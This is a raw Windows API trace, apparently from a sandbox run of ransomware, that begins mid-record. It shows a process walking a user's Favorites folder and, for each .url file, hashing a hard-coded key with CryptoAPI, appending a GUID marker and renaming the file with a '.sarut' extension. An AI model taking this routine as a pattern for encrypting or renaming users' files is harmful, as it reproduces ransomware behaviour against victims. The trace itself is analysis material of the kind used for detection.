dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0270.646] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.646] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.646] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0270.646] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.646] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.646] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.646] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.646] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.647] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.647] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0270.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0270.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.647] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.647] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.647] PathFindFileNameW (pszPath="") returned="" [0270.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.648] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.648] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.648] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0270.648] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0270.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.649] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.649] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.651] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.652] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.652] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.652] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.652] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.652] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.653] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.653] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.653] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.653] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.653] GetLastError () returned 0x0 [0270.653] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.653] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.654] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.654] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.654] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.654] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.654] CloseHandle (hObject=0x5c4) returned 1 [0270.659] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.sarut")) returned 1 [0270.660] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.660] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.661] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.661] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0270.661] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0270.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.662] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.662] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.664] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.664] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.665] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.665] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.665] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.665] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.665] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.666] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.666] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.666] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.666] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.666] GetLastError () returned 0x0 [0270.666] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.666] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.666] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.667] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.667] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.667] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.667] CloseHandle (hObject=0x5c4) returned 1 [0270.668] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.sarut")) returned 1 [0270.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.669] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.670] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0270.670] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0270.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.670] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.673] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.673] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.674] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.674] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.674] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.674] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.674] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.675] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.675] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.675] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.675] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.675] GetLastError () returned 0x0 [0270.675] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.675] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.675] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.676] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.676] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.676] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.676] CloseHandle (hObject=0x5c4) returned 1 [0270.680] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.sarut")) returned 1 [0270.681] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.681] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.682] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.682] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0270.682] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0270.682] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.682] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=133) returned 1 [0270.682] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.685] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.685] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.686] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x85, lpOverlapped=0x0) returned 1 [0270.686] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.686] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.686] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.686] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.687] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.687] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.687] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.687] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.687] GetLastError () returned 0x0 [0270.687] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.687] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.687] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.687] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.688] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.688] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.688] CloseHandle (hObject=0x5c4) returned 1 [0270.692] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.sarut")) returned 1 [0270.693] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.693] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.694] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.694] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0270.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0270.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.737] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=134) returned 1 [0270.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.739] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.739] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.740] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x86, lpOverlapped=0x0) returned 1 [0270.740] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.740] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.740] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.740] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.741] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.741] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.741] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.741] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.742] GetLastError () returned 0x0 [0270.742] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.742] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.742] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 